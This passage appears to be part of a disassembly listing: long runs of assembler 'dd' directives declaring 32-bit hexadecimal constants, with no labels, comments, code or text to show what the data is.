		dd 97733A7Fh, 925C2E0h,	9D04000Eh, 20D91Dh, 0AD65A125h
		dd 0B2F08901h, 0DFCC6450h, 58131622h, 3A003C8Dh, 0D36F2AC3h
		dd 0B01A63Dh, 43482204h, 4BE4E451h, 0E260193h, 4F34A78Fh
		dd 1F9840F2h, 0C20055B3h, 0B97C8A7Bh, 0C7C5AAh,	3299B850h
		dd 6F76A8FAh, 0E886F700h, 0B0952DA4h, 0AA51006Ah, 49DC535Ah
		dd 25006CF4h, 182F2467h, 0BBB011h, 0C6A223A4h, 927D2808h
		dd 88328C2Ah, 0B9479903h, 0ACCF26D7h, 0CD603180h, 0E23A00EBh
		dd 72C8785Ah, 0C23907E9h, 4A88820Eh, 0A0159692h, 0A961A584h
		dd 0ED2901ADh, 78108934h, 6754242Bh, 889B9E29h,	0B6DC2441h
		dd 30009428h, 2BB50A9Ah, 0DD1225E4h, 4800E268h,	99610774h
		dd 0D48D00A4h, 0E5ED8185h, 7100145Ah, 7FF2D9C3h, 0A1790904h
		dd 6CF44FF5h, 0D5F8C7h,	0B787A45Dh, 0B1FDA63Eh,	8D0044B0h
		dd 76DFF286h, 312C426h,	372BF83Ah, 0D88006EAh, 1D0001AEh
		dd 0CC571361h, 1C654995h, 1160E94h, 5A388541h, 4468D6h
		dd 0EAF42662h, 0B137414h, 0D2042FA9h, 83005C50h, 17787F96h
		dd 4E020924h, 37EC91A1h, 17B6ED1Eh, 28CD0EB1h, 0B0A474h
		dd 3DE36EC1h, 0CA73FE51h, 698ADC25h, 0C0307EF4h, 345C03B4h
		dd 81BE4220h, 35E82FA8h, 54DC39h, 1288036Bh, 0FB967Ah
		dd 17B8A62Eh, 9E6A6016h, 9395E928h, 34771301h, 868C283Fh
		dd 6ECBE4h, 0E08E4680h,	7264928Fh, 57D9CC13h, 0E430BCB0h
		dd 0B2E200E9h, 9C425926h, 7E0B365Ch, 8046ECEBh,	0B92EDE0h
		dd 1F790029h, 4A25B597h, 3200CB42h, 9F8131DDh, 0FCE410B1h
		dd 0CD220764h, 205DE53Eh, 46BDC22Bh, 0D45BB400h, 5EEA41F2h
		dd 15407E7h, 2067266Ch,	20991A31h, 3CC68400h, 0D9EEF4DFh
		dd 58900Fh, 2F119EF1h, 0BD9F277Fh, 25B90D00h, 0B23A9343h
		dd 0CB1F03D0h, 0B71A5F41h, 0EAA1E098h, 316DEE02h, 0D8FD7D79h
		dd 45810020h, 0D068E18Dh, 589062D2h, 0F3F6BF0Fh, 0CB4D4006h
		dd 3383D8Ah, 18B908A4h,	0E3887A0Ah, 4E009B8Eh, 9C90ED6Ah
		dd 6C279Fh, 0D2794B4Fh,	0D1639568h, 9D107A05h, 940A9ACBh
		dd 4C01A835h, 46DA61BCh, 1F9EA4C8h, 0C03B9527h,	3056AA3Ch
		dd 9C00F915h, 0E04A36D8h, 4D942428h, 0FC1894ECh, 777EA0E7h
		dd 568FF0Ch, 3D2710E6h,	3D801B32h, 44943148h, 0BFC7AABh
		dd 3A025303h, 0B1CAD565h, 0EC2CEB22h, 34118B00h, 4C20937Bh
		dd 0C4005C9Ch, 0FDA08E80h, 87FE0003h, 47B63CEh,	701FEFAFh
		dd 0B2422CC1h, 5EBAB46Ch, 1FD80078h, 9A9905EEh,	825A7639h
		dd 0DEFC38BCh, 84D8DC29h, 0A08CE104h, 9F02BF04h, 0ACCD16B2h
		dd 8F040DCh, 956B7272h,	0B12FD400h, 0B907F70Ch,	506D2645h
		dd 64823EFFh, 0E0E4B680h, 1AACF4h, 31C23AC6h, 1BD54DDBh
		dd 9BFAB201h, 32B691E0h, 0BE079078h, 2FCC54AAh,	0DD4831A0h
		dd 5B3B4438h, 6F5800F0h, 846D5C04h, 0DE030050h,	969AE81Ch
		dd 3A0359DDh, 0ADEDA1F1h, 0D890F0EEh, 0B39D3928h, 780EBC85h
		dd 922E83BFh, 0E815FEF8h, 0A6C5E900h, 0A7AC548Eh, 79AE6260h
		dd 0E87E8AE4h, 7A2CE500h, 9CAB346Ah, 7D08002Ch,	0BE54E489h
		dd 6155B60Fh, 766BA04Ah, 0F1DF88h, 9EBC7509h, 62E22394h
		dd 0A7229009h, 170000A9h, 3DE1C4CEh, 8CBA7D20h,	0B1C8BD00h
		dd 3D5449AAh, 6B5FA000h, 0D9AFB652h, 0B0F002Fh,	0DB4BB7E9h
		dd 0C000367Eh, 0B1B8CFC3h, 445B50h, 79D886A7h, 8BAA99DDh
		dd 0CC83EE01h, 5F529533h, 853D2080h, 0EB8AA4F2h, 7DC13801h
		dd 5B2AD68Bh, 0EA5288F4h, 0F4AD0025h, 3AC3789h,	0C2182D16h
		dd 0BAD8561Bh, 1789065h, 767467AAh, 47C5C4DEh, 2ABE30E0h
		dd 3B00238Dh, 0A71B9FC8h, 0E6F4603Ch, 0BD1201A2h, 0D32BBB33h
		dd 7C79C84Bh, 30F97398h, 0CB0020BAh, 0CF448A81h, 34C932Ch
		dd 0D6B8409Ah, 0CDD8CC25h, 5601E63Ah, 66F94DDEh, 14F035EFh
		dd 650A257Ah, 808D84C1h, 0FF057170h, 1E20F189h,	40279D4Fh
		dd 7DD8886Ah, 0E8007EF6h, 82B1D86h, 1C4802h, 0E9CB53ADh
		dd 153B272Ch, 3569900h,	2A1B7DEAh, 206F1D0Bh, 661D803Ch
		dd 213DF937h, 7AB1616h,	9734F800h, 0B0282Dh, 2B751311h
		dd 0BB469986h, 40291607h, 57302CD5h, 9FD2D623h,	6C9C4C20h
		dd 29EA7DF0h, 3EC3B48h,	432C20C6h, 7961C1F8h, 0D7F468C1h
		dd 5748002Bh, 0FC4B0950h, 0C9009F11h, 0FD52102Dh, 24F3DEB3h
		dd 2FBC8D20h, 0EE598081h, 1AFD7035h, 0D9C5AE00h, 72A2456Bh
		dd 0DA6E26CEh, 8E7600C5h, 0A7304D1Bh, 4EBB4C0Ah, 7805A397h
		dd 9C029A25h, 0C07EC343h, 0B7F590h, 34EE8486h, 4B870BE7h
		dd 0EA11FD00h, 0F826C73h
		dd 8449DC59h, 0E0F6833Bh, 0D59805FCh, 9D27BC78h, 0A2C0012Ah
		dd 0CDEC56D6h, 0A060B5EFh, 200940Bh, 0EDA61EAAh, 0E231F2CFh
		dd 8DFA03E4h, 7B0FF7E5h, 0D057E297h, 27A03063h,	0D8284ABCh
		dd 0F70C81E3h, 6111CB16h, 868080D1h, 0B7B28700h, 59F78B36h
		dd 2C250339h, 0F60E4790h, 48DE480Eh, 51CA4141h,	6834E9B9h
		dd 5AA107A8h, 8091027Eh, 26A4D6A7h, 8B8FDE00h, 9B19C55Dh
		dd 0ACC21654h, 0ED3000DFh, 2AA63DBBh, 3BA22358h, 8D007325h
		dd 0CF670757h, 48AFD3h,	23B7BDBEh, 0C9033E87h, 0E2F91800h
		dd 5DABB14Dh, 498B00A9h, 0BD2D99DAh, 0C31868D5h, 121816CDh
		dd 1FB1092Ah, 48005DC8h, 89C593FAh, 0D2191E1Ch,	8ADA2B80h
		dd 0E0E7B1h, 9987CB69h,	0B6AB0E7Ah, 0FD039F00h,	4844D8FAh
		dd 289402DFh, 30D9464Eh, 5AB09C6Bh, 2300DD71h, 49850907h
		dd 2703717h, 3EB873C6h,	84F65213h, 0FF150300h, 0FA496F7h
		dd 32218289h, 0B7AB0CE0h, 360F979Eh, 60282F46h,	0B4A94D8Eh
		dd 0D67961h, 0BE63EE41h, 49F37ED0h, 0A20A5D25h,	0AB7B48h
		dd 6C25B3DCh, 40011C94h, 0B7742EC7h, 0C01EC843h, 0EF1A83C0h
		dd 787B3EF8h, 0D0C85897h, 37A15C00h, 8D2DC4Fh, 33B02202h
		dd 60E0FFF0h, 0FE7FFDC8h, 50E403E9h, 8C8270B4h,	7BF3F7B8h
		dd 9BA4C201h, 0B0389022h, 25627FC8h, 0BCE0E464h, 0DA00286Ch
		dd 0C3E7AFEh, 1E555A60h, 8A29A388h, 988B5C9h, 0D789E8Bh
		dd 0A112C00h, 949BBAA9h, 263F3D33h, 0B7CEBE87h,	0ED06B4B0h
		dd 0B85E00B0h, 45EB76C8h, 7BF859h, 5792E4D2h, 79226FB9h
		dd 64BC88A0h, 124C3C00h, 7F5AA33Fh, 5890CEh, 0C59538A5h
		dd 0B51FBCD5h, 0FC925CA0h, 2D115F00h, 98F3C32Ah, 122E0BEAh
		dd 7B038F08h, 190099BEh, 1180C883h, 0E6EEAECDh,	67CB1337h
		dd 320C075h, 0A014AE8h,	69DA6415h, 0EDD0EC0Eh, 607102E9h
		dd 0B35A8642h, 49DC0D40h, 246BF507h, 0AF804D48h, 0FF0EEB1h
		dd 0FEE02E6Eh, 0DF70618Ch, 0C88F9100h, 0FCECB55Bh, 0F2B1EE5h
		dd 974F8011h, 8EDD199Bh, 1250D300h, 0A3C3E1C5h,	0FF2BFh
		dd 0A5290754h, 31B5B169h, 54A6F52Ch, 0F9DD2A00h, 63E93Ah
		dd 81CF8A95h, 96E420A4h, 79DBF61Fh, 6035A90Fh, 358EF64h
		dd 97D002B1h, 95DCEB06h, 0F880C8DEh, 0E59E169Dh, 15894C7h
		dd 0EC7CEF59h, 1C0C70B0h, 3300ABE8h, 0A47F5D7Ah, 8D70BEh
		dd 8ECE79E1h, 92B3E6A1h, 8105BCE2h, 0BE9BC741h,	972CA8FCh
		dd 23840BB8h, 0E00EFC85h, 3F00A064h, 0CA2B324Bh, 0B4BBDAh
		dd 34D902BDh, 0C46AF548h, 0F782D409h, 7F900051h, 496E8D6h
		dd 1E73BD5Bh, 0C80C8078h, 20014870h, 6682BF42h,	3EEC62h
		dd 6854FA6Ch, 8A05AA15h, 20B22B13h, 93FD9883h, 0A62E9832h
		dd 0A810088h, 877F666Ch, 37000DD5h, 0BB8F14AAh,	0FBA9B5h
		dd 9FEFADF3h, 0E6033FC2h, 406AE827h, 3EDBD4h, 0CC4B0CF0h
		dd 0DC998EFh, 597CF100h, 0F7BE356Ah, 4A522F4Ch,	0E5BBEC03h
		dd 36DFEB8h, 6B5C3Dh, 0A711EB46h, 753B0594h, 14EE050Eh
		dd 0F0DC57CAh, 0D10D209Ch, 11F474E7h, 60C6A8FCh, 0D08BE191h
		dd 0E51FF265h, 4398F846h, 15D119h, 5DCAE3D5h, 0E7CD1963h
		dd 3A0D4B00h, 1C79989Eh, 2DBB0312h, 62491BFFh, 421FD198h
		dd 529AC209h, 9EACE040h, 14F2F08h, 38601812h, 20E31185h
		dd 6F0005CAh, 0D9EFAF25h, 4A0C946Ch, 73E4C010h,	0FF0486E1h
		dd 1BB0CE87h, 2A0F44FDh, 3920D298h, 8A2E7DE4h, 0A290D005h
		dd 0E000115Bh, 56327FC4h, 319A02D7h, 2647E079h,	48E040CBh
		dd 0E09492D5h, 372A6D00h, 51F9631Ch, 3FD93084h,	78C478h
		dd 6E9831E9h, 0FE263D2Ch, 56278CE0h, 0D444018h,	1288A14Ch
		dd 9AE66070h, 6EC43A9Ch, 15600F2h, 0E23A8155h, 210B8E75h
		dd 85A48D7Ah, 94E2A923h, 604E7818h, 0BA05A74Fh,	52AC3EB5h
		dd 0AA3D828h, 4C468F2Bh, 49A87ACh, 7966F04Bh, 0B00AC882h
		dd 2CA39E0Ah, 404CE00Eh, 0FD3A6A51h, 77EA00C4h,	0BA46D4F1h
		dd 400A30Fh, 0E29A9D88h, 97DBBDh, 81EC89A8h, 14B3C0CAh
		dd 69595C0Bh, 6DFC2631h, 0C6B40E58h, 9A414ADEh,	48658DC2h
		dd 420FFE7Ch, 23C5CA6Ah, 0C890078Eh, 5A41CA3h, 0C638CDEBh
		dd 2D0139Dh, 0E9CE6738h, 37007858h, 253A12E2h, 1B4E3EEh
		dd 114C236Dh, 2020163Eh, 1D3C82D7h, 96BEB928h, 0E703B5F1h
		dd 3F862CF6h, 5021E478h, 0E2BC0485h, 36003CCBh,	0BBE39B92h
		dd 0A248F704h, 0C0044CFFh, 0EB2416A5h, 26CC0039h, 4BD513Ah
		dd 5500D9B7h, 0CE62EE42h, 5B2C31h, 65EF4812h, 223033EDh
		dd 415EB300h, 0CAE461CCh, 0F8700FE3h, 8879AFBh,	2842F19Ch
		dd 0B61080FCh, 0C656CE61h, 6CE4006Bh, 4731513h,	1B00BCDBh
		dd 0AFEA0C58h, 0A819F15Eh, 49D0F5BCh, 6301C853h, 0E97ACCBAh
		dd 78602449h, 1E95F702h, 0E1D7E486h, 5BCC4494h,	41C96410h
		dd 9DE8FC16h, 46E422C4h, 0A6AB2A80h, 0A1CD005Fh, 91D573EAh
		dd 190085A0h, 31E6F1B0h, 1EB74DEBh, 40E7D81Bh, 0E2765F4Bh
		dd 69077128h, 7B6454FCh, 27187AD0h, 4A6B0108h, 58A13D14h
		dd 0E4E0E77Fh, 95033CA9h, 0EF8DECA4h, 5230A0A5h, 64FA07F5h
		dd 805EABh, 97040BC4h, 16FFF100h, 0C3B41783h, 0C20F00ACh
		dd 6B0365D8h, 0FD26BA41h, 0C8000F90h, 0E274EDD4h, 7C8BFC8Ch
		dd 14B8D2h, 6BBDB21Bh, 0F121EB1Eh, 0C7B1DB00h, 0BABF0D49h
		dd 0D0173F8Ch, 0F83AD780h, 83E4EC03h, 0FBA18F00h, 0D891250Dh
		dd 0C094A2A5h, 10AF2944h, 2FB18684h, 5A20C0CFh,	464D0068h
		dd 0D7DFF6E5h, 6A008376h, 0F3110263h, 0EACAF5EBh, 0A480BD6Dh
		dd 2FBA0CFCh, 42958A00h, 0CE210EB7h, 0ABF50B93h, 380E75E6h
		dd 0F080A905h, 7E0E840Ch, 0A0CCE777h, 54C531AFh, 0B8F50079h
		dd 658806Ah, 0DA00F1E6h, 4D99F4D2h, 49429F6Ch, 1D27A0F7h
		dd 3D1558C8h, 304B748h,	70B63513h, 51D6F822h, 0A2973A4Ch
		dd 5B80370Eh, 0F47854A0h, 35BFFB7h, 0FBC72084h,	12422CA0h
		dd 0CB9F1615h, 0FDEA8F8h, 0C0EC383Fh, 0C91C88A9h, 0F0E749A6h
		dd 0E9A8F209h, 0C23F48AEh, 0A3EAEEE2h, 2B4388F4h, 5221005Ch
		dd 63418DD2h, 7530BEE0h, 34CA191Ch, 483A007Bh, 6E26902Dh
		dd 9405DA6Ah, 0B9E880F7h, 0BE9CB090h, 0E1FF073Bh, 80E07C12h
		dd 88F390A9h, 0A638D100h, 93DCBE52h, 0D9DF03AFh, 3BA891ECh
		dd 8FBDD0C7h, 95000849h, 0C2C784D7h, 9D4B117Bh,	0F615A880h
		dd 594C322Ah, 67BF0218h, 4BDE8AFDh, 56BEEAB0h, 0BBA4BE20h
		dd 985380C4h, 79EE614Bh, 1A8688h, 0FFDB3D62h, 6E73CD18h
		dd 9BA24D05h, 0BA00A431h, 3814BC8Dh, 6AB116B6h,	51C2120h
		dd 8A846690h, 0E780F0F2h, 0C93C6306h, 6971C09Eh, 0DAF5F7FDh
		dd 0A4CB912Ah, 254DE316h, 2974D8h, 10DF3ADBh, 0E2850C67h
		dd 4B7C47Ch, 0C8C1EDA8h, 7068C891h, 1E11FC01h, 6FE60175h
		dd 0E1503870h, 802554FDh, 552D29E9h, 99E00598h,	3090994Fh
		dd 7100FAA4h, 0BEB2FC2Bh, 60F44F77h, 0E55D69ECh, 9000A48Fh
		dd 0A8E8DAB4h, 769ECF61h, 7C68A6EBh, 0F9E13C76h, 0E40EEF80h
		dd 90951243h, 1FD3FC0Bh, 8C7BAAh, 7FB0B961h, 69002579h
		dd 8B2CB556h, 794A5C94h, 18B27CD4h, 0F91D917Eh,	7300DAECh
		dd 0E22DFAF2h, 1010372h, 7EB61B0Dh, 0E45C5F70h,	18ECE652h
		dd 0E958B900h, 0AA085636h, 0E41400A9h, 919B2930h, 0D038CFA7h
		dd 2B00FE18h, 0DFAB7B46h, 37AF5A8h, 0E04019F4h,	2F32C3Fh
		dd 6D52D5C0h, 0A8A138C1h
		dd 0DB7EAFh, 0D64507C6h, 0AA4578Ah, 38308675h, 2DFBA0D8h
		dd 390EAE3h, 114A763Bh,	0F4F00ACCh, 0EC00A0A5h,	98D0519Eh
		dd 75E460B5h, 0A4CF00BAh, 2D7C8E71h, 751CD88Ah,	0B840C8DDh
		dd 391BEDABh, 969C0089h, 6A1E4EC6h, 6201FBEEh, 5869D11Ch
		dd 4F2094A3h, 13E62E0Ah, 942265h, 7E5001DBh, 584DB0BEh
		dd 0E3685500h, 0D717AD47h, 85250036h, 0D52E0E81h, 0DD01DCC0h
		dd 9D958F60h, 87E8898Eh, 0F3490E7Fh, 4523DAA0h,	0C6888410h
		dd 57006CE2h, 9C506444h, 1CC29371h, 0C02EB9D4h,	9810DBBFh
		dd 0AA0596A0h, 9982DACEh, 103E70Eh, 9E88928Ah, 0C477A540h
		dd 0B5D100DEh, 0D6E0D832h, 0F916F3ECh, 50016C9h, 0B8D52A0Eh
		dd 0C568002Dh, 0AFFEE214h, 330023AEh, 1011413Ah, 1F24404Ch
		dd 407A46A0h, 0B1887CD5h, 660E45A1h, 0F037D4h, 8BC215EEh
		dd 0D9980077h, 7396ECF3h, 0AD00795Ch, 0CD713D35h, 62A56Dh
		dd 93C99141h, 0A8BC54BAh, 0F200CF7Ch, 6E03A7E2h, 38BB33E8h
		dd 0A4D091A6h, 72D61DAFh, 21607DF3h, 0C3A7BC34h, 0CC64CA00h
		dd 155092D3h, 0F5510582h, 0EAC306Dh, 2FA019CCh,	0B9B6A4CCh
		dd 44025676h, 0D1C0E84Bh, 6070E0D6h, 3FFC0E5Fh,	0C9207D78h
		dd 570C0E7Bh, 9A9B0800h, 1E2390DEh, 0FF1C036Bh,	8E93F604h
		dd 144EE8B8h, 350025FCh, 4F2F443Ch, 968922h, 381B329Dh
		dd 2BDEE431h, 0F7FA4700h, 0C115E42h, 747559h, 0D335EDB5h
		dd 0B026273Bh, 573BF0F0h, 8F730E2Bh, 0A68B2040h, 0C86830h
		dd 0AB771A53h, 0F2B32F47h, 88401090h, 5463005Bh, 0E4F30A21h
		dd 3B0F3A89h, 0C0259B80h, 26BE23FCh, 4AB000A8h,	57E69DB2h
		dd 0FA3ED3E7h, 7C0C0095h, 0F8DD0D22h, 84BA0082h, 0C8750FA5h
		dd 0A03BB8Ch, 7B531487h, 0B619888Fh, 46A90082h,	137C8ACh
		dd 911CF807h, 508317EFh, 0C8E710D8h, 39689BFFh,	7A002B8Fh
		dd 9DC1C0E0h, 980D935Eh, 182F9067h, 3D51F4h, 707DE717h
		dd 61E2371Dh, 0D6443800h, 252A151Eh, 0FAFC002Ch, 1CA7C4D2h
		dd 0BD0A6C58h, 0A97A6EC7h, 0AF664900h, 71D872D5h, 554D00C3h
		dd 645C614Ch, 71016A5Bh, 907908A9h, 3200DB0h, 0A28930CDh
		dd 5EBE970Ah, 89ADC238h, 5545DE84h, 8E0CD48Bh, 4409BCD1h
		dd 8FB70B52h, 278A074h,	13010Ah, 37EB1B14h, 0C98B9B30h
		dd 950D31C0h, 3A81A11h,	0F4268350h, 0C8B0F044h,	0BC027879h
		dd 499A62D8h, 8FA460DAh, 14C149B0h, 43748B07h, 19E542D4h
		dd 0E0813F40h, 0CDB83303h, 0E00A73E9h, 555F3CAAh, 45F4FCB2h
		dd 0D256000Bh, 0EBD93419h, 0EE3A48CBh, 0F0BE18D8h, 1BA41C90h
		dd 0A1A8ACDCh, 7A908880h, 79D69B30h, 4C7C5F76h,	2A0F58EAh
		dd 32805C56h, 0A748628Bh, 0DC74D401h, 0CC4A93Ch, 9C40A1E5h
		dd 2C6DC84Ch, 8000E379h, 88769FA2h, 0A40B079Bh,	3066D606h
		dd 5BF910h, 846E948Ah, 48D1DC8Bh, 0EEBE8600h, 0AA697452h
		dd 7A5ECC3h, 8EA3FD8Ah,	1604105Dh, 15706EF9h, 18B1D02h
		dd 0C23B257Bh, 0E59000D9h, 5D494Dh, 0EBD7DFA5h,	15C8F8F2h
		dd 79837B00h, 8CA928Bh,	8F260257h, 0C6433CABh, 14289CA0h
		dd 0F8E5D63Ah, 7200D225h, 0ED34508h, 191605h, 0A2EFF020h
		dd 2B32E5A1h, 2160C700h, 0DAC4CEC8h, 0ABDC3BD5h, 0AA0A32Ah
		dd 25B69AB1h, 30334078h, 0F93B9B4Bh, 38D895D3h,	0C88B7CA0h
		dd 0E0F73Ch, 37B3175Ch,	873684B8h, 0B98D3E01h, 48F42FF1h
		dd 2E07E0C8h, 15F0BA7h,	3A1A27CDh, 46798002h, 0E1C8902Fh
		dd 58816A6h, 0A2940520h, 0A8EC80A9h, 9671AB43h,	21346D00h
		dd 374AE747h, 670D0036h, 3EDF401Ah, 0EE72532Bh,	0C90B3FEEh
		dd 200A3D01h, 0E02739A4h, 43B2033Ch, 787F331Ch,	0ABA4601Eh
		dd 0A79DE783h, 0E47B8885h, 12EB0ECEh, 1A00132Bh, 8091CBBFh
		dd 0EC00E890h, 0DF9B9CE9h, 3ABD85FBh, 0E383698Dh, 0C0293BE4h
		dd 1407D6D0h, 0FA00EF78h, 90F6CFE2h, 5CA279F8h,	0B1007BACh
		dd 96E998C0h, 6018758Ch, 9511F083h, 86DE5CCCh, 40FE8602h
		dd 0F0A191ABh, 24362004h, 0E0034678h, 9F37CA47h, 0BE200174h
		dd 0F348B0D0h, 0D6FC4050h, 0FB09FD2Fh, 0A0462DD3h, 12744EA4h
		dd 4865717Ah, 0B903183Ch, 6D706659h, 7E0A26B0h,	1C2B2505h
		dd 4081E16Eh, 8CE0F46Ch, 9A320094h, 0CF6FCE85h,	7B0ED6BBh
		dd 47A8D587h, 89B069h, 83F8ABA8h, 0B03C583Eh, 2C104200h
		dd 0DA28DBDDh, 0B96C6D00h, 0EE69A7D4h, 0E0B5780Ah, 5ECC1E0Ch
		dd 6D668055h, 4004593Dh, 0CF9C031Dh, 195A0E00h,	3F15EF02h
		dd 670717AFh, 4073A6E6h, 7DEDD159h, 0FB180AF4h,	4BB01D8Eh
		dd 0E20B00D3h, 141AF8F1h, 30F7BEAh, 0A90785Fh, 3101A4FAh
		dd 0BFCB8F19h, 591DDCh,	0DFA3334Dh, 6C30B3D2h, 3E45603Fh
		dd 0DD3183FBh, 0D863E27Ch, 0F37109h, 7AF999FAh,	6851D83h
		dd 10045F05h, 9CC0514Dh, 8F7439h, 0A90386A7h, 0C0199CBDh
		dd 64B1D22Eh, 0D079D540h, 0EA501E02h, 751FBB51h, 8EB02481h
		dd 0F380A7AAh, 1A92A065h, 0BCE9152Eh, 0CE078293h, 0FE376CF9h
		dd 90FC41D3h, 1D922Fh, 98057338h, 0D1503D21h, 0D391EB00h
		dd 805F955Dh, 70C4004Ch, 64799093h, 0C25CB687h,	0D69F0058h
		dd 4F384A0Ch, 258A0E39h, 6822788Dh, 70C8D45Ah, 0BF05AB5Eh
		dd 7AB0E381h, 0F440B785h, 0F549F43Ah, 260217E1h, 0D81D8Bh
		dd 409A1E38h, 1500FB2Bh, 2D10C4C9h, 29DCDEh, 0C6E3CF45h
		dd 658D123Bh, 837C7500h, 0B9B1BA9Bh, 0F2BF00A9h, 0A31BDE49h
		dd 2CB08140h, 0BBE7A00h, 76DFAB72h, 6743005Bh, 0F9EFFEBDh
		dd 0AC00A0F8h, 6658DCCBh, 1DC41D20h, 8030B7D6h,	7233AD53h
		dd 4E0101D2h, 3B35495Dh, 8E30A95Ah, 0C798001Fh,	272FDFD8h
		dd 0E967B1FCh, 0F363F560h, 0DE0E8807h, 0BBAF002Ah, 9F79EF50h
		dd 0B90018F2h, 28632736h, 7B7F2EA1h, 3CDD7107h,	0BD80D4B4h
		dd 13F38090h, 1F7DC25Dh, 0AFDFF700h, 0C4787DCCh, 0A26A02E0h
		dd 0F8868D6Ch, 1E18FBC0h, 0F47B0F00h, 7D762837h, 29DB0668h
		dd 22FDD7C9h, 8EE8F23Ah, 0ED9ED02h, 8C84A59Ah, 0F308BE80h
		dd 62AA0335h, 14B5BF24h, 0AEDF99B8h, 6CB070E2h,	0C529781Eh
		dd 7A05933Ah, 15131000h, 9A0756h, 2895E397h, 0B6237229h
		dd 0ADFCB20Eh, 37862041h, 0A43D35h, 2D54B7B8h, 0B5DD403Fh
		dd 6DD0C900h, 0F95C5546h, 0E73C3A21h, 0CF98A180h, 0DC7372Bh
		dd 7001087Fh, 16652423h, 3047C9h, 0EA4BD7h, 7F639658h
		dd 781E3332h, 97C1C8AFh, 0FB9E9930h, 7420DFE5h,	34CE072Ch
		dd 215ABEB6h, 30E8483Fh, 6D00D274h, 0FE5F56D5h,	59E663h
		dd 0E1668246h, 6BF4111Dh, 7F9CA81Dh, 0D6243049h, 0EB00385Fh
		dd 0EA22660Bh, 0C24E696h, 1E1C5C6Eh, 2F37DE00h,	1FD05D15h
		dd 0C0826697h, 0B604E3F7h, 930062B7h, 0FE6FB12h, 203CAFh
		dd 0D7F38494h, 0E9A40A6Bh, 2D00ABE2h, 0EC6945B9h, 505163D5h
		dd 7C7B479h, 56C311C9h,	0E46E7F53h, 6AD72520h, 6200B166h
		dd 0F341F4F5h, 1D5F80F1h, 80187B74h, 79A10403h,	291E8C8Dh
		dd 0B5C31102h, 0E4A3F8DDh, 678BDF49h, 6DA6800h,	0E8E2540Ch
		dd 57D1BF00h, 0C2DFD32Ch, 664A0EC9h, 0D6C71C1Fh, 3FEEC1BBh
		dd 25A881ECh, 78FD9C0Fh, 5E1D1B00h, 0EB7270F3h,	31309D01h
		dd 0BABE2B7Ah, 88498343h, 73D3F8Eh, 0BFC0AC35h,	4847505Ch
		dd 0D100BDE5h, 5D4D75D8h, 0C2A0164h, 0A054EF44h, 3F7333A8h
		dd 0F9C8080h, 2A1416AEh, 4FD2F300h, 0E90008F5h,	0CEE37082h
		dd 0B9DBB43h, 35165B38h
		dd 1F360080h, 0F4000AEFh, 65CB604Ah, 714B4ECDh,	8A3D00FCh
		dd 7E63161Bh, 0B300E42Bh, 0C68BD644h, 0FC0109h,	888DFA48h
		dd 9EA3F0D4h, 4F9CEA00h, 5DB295C1h, 0CD90CEh, 9377AACCh
		dd 9BC0D040h, 85B9CF00h, 0ABB34BACh, 0FBC301BCh, 6ED27B14h
		dd 0F7C30AFh, 14D3844h,	0C07FB6C8h, 0E42F85F7h,	0A07A70BFh
		dd 617ED30Ch, 7AD6040h,	0C2BBB4A3h, 45371091h, 0D43EF5E4h
		dd 0C1EE0E69h, 0E9DF4097h, 0C86513h, 0C5A89153h, 0C651DD3Bh
		dd 1500FBB0h, 97CD7CF2h, 681CC47h, 844A733Dh, 0C20289AFh
		dd 0DFFF6ED4h, 0BC10605Ch, 8B71D8h, 9892EBCFh, 0B6A8A38Eh
		dd 2CA659h, 9DABD4D7h, 0F6A0F97Ch, 24F35D96h, 0EAE5F173h
		dd 9EF0C1C5h, 52B506AEh, 20ED2225h, 0A8070D90h,	0D29A0FF4h
		dd 490B854h, 524B44h, 8880EB6Bh, 0F2E91478h, 4CC4E41Dh
		dd 0F774E144h, 97D7D5C0h, 83DE003Bh, 1E0A130Bh,	923BBA1Dh
		dd 0E39402A7h, 40170302h, 30B487h, 0E163AB6Ah, 77A958CAh
		dd 6F005490h, 0FE6BBA71h, 0F947FAh, 7FCD8D8Ch, 0A590E12h
		dd 0E9019D71h, 7D9999Bh, 0AD70231Ch, 49AC00ABh,	0D1343522h
		dd 5DF6B9A9h, 4BA08604h, 54809EF9h, 71239287h, 765A000Dh
		dd 1B7B0364h, 9AE42672h, 869B371Ch, 0B0D85D40h,	4B64C7C0h
		dd 227840A5h, 0FA5156EBh, 0CEB25000h, 8E5C48F5h, 60B00045h
		dd 8F83DC3Bh, 7D0011CDh, 3FB5B870h, 0E57B47h, 0F792C0F6h
		dd 84639961h, 0D0D5882Ch, 2A3D5400h, 0F5438Dh, 0AC441482h
		dd 0A16FC2C8h, 7544048h, 324C03E8h, 429C28D0h, 0D34A002Dh
		dd 4101AC9Ah, 0AC9E2EAFh, 35260800h, 13D163A2h,	0E8FA43h
		dd 0F020C0D9h, 8E2BE0Bh, 0F132539h, 0C0C12241h,	5DFC0C0Dh
		dd 0E480735h, 0E076F05Ch, 0C843F828h, 0DF60D673h, 20190AC8h
		dd 0A59500BDh, 17E7B4ACh, 6D000FCAh, 3D733B4Fh,	0C86B885h
		dd 0A4E19372h, 8E003FD8h, 4238A605h, 7254E2Bh, 4BC41345h
		dd 0A9489251h, 77C0DCE2h, 0D004952h, 6D5D665Eh,	174AA72h
		dd 0B9F23C95h, 0EC81988Ch, 9B003394h, 2AC4251Ch, 146A632h
		dd 0D697B7Eh, 20A3A786h, 60B1A190h, 0DE413E00h,	7D3CCB6h
		dd 5E594970h, 0E7E860FBh, 0F038C783h, 3528405h,	84F09496h
		dd 18670022h, 0A3F2A6ABh, 7D018D87h, 0E86B850Ch, 26F89CD6h
		dd 0C659C43Ah, 615B85CDh, 75FB16C8h, 73F8FBD4h,	491A6687h
		dd 634822A1h, 4190D0AFh, 5A2FA42h, 0ECC4642Ch, 0C2F48451h
		dd 9C80FEFCh, 0A3E6F5F0h, 3F9040EDh, 302FFC7h, 73B5A701h
		dd 13286036h, 7851275Eh, 1CC34003h, 92835DD0h, 0C9619F2h
		dd 0CE9B6705h, 0F8A8C200h, 0B9C1DFCh, 83EA0237h, 0D2C06400h
		dd 0D40B2D56h, 835843E0h, 0B09DA0A8h, 0CF57D851h, 5F8F4868h
		dd 0A4580696h, 8F0038A1h, 65AF4BBh, 0EAE39C81h,	98924CE6h
		dd 24189711h, 770198D5h, 749B10C3h, 0CE004C2Ch,	0FEC48F5Ah
		dd 2000AF09h, 57DB9877h, 0E1CA1A8h, 4626394Eh, 2684A24Ah
		dd 11003E08h, 71F61301h, 39260318h, 5F00F1DEh, 0B6C088FCh
		dd 0D4CC0F9Fh, 9D3DCC4h, 5180BC44h, 2F75238h, 0C8E25A30h
		dd 24CE2124h, 0A83476h,	541CFD12h, 9670ECB5h, 5B8E917h
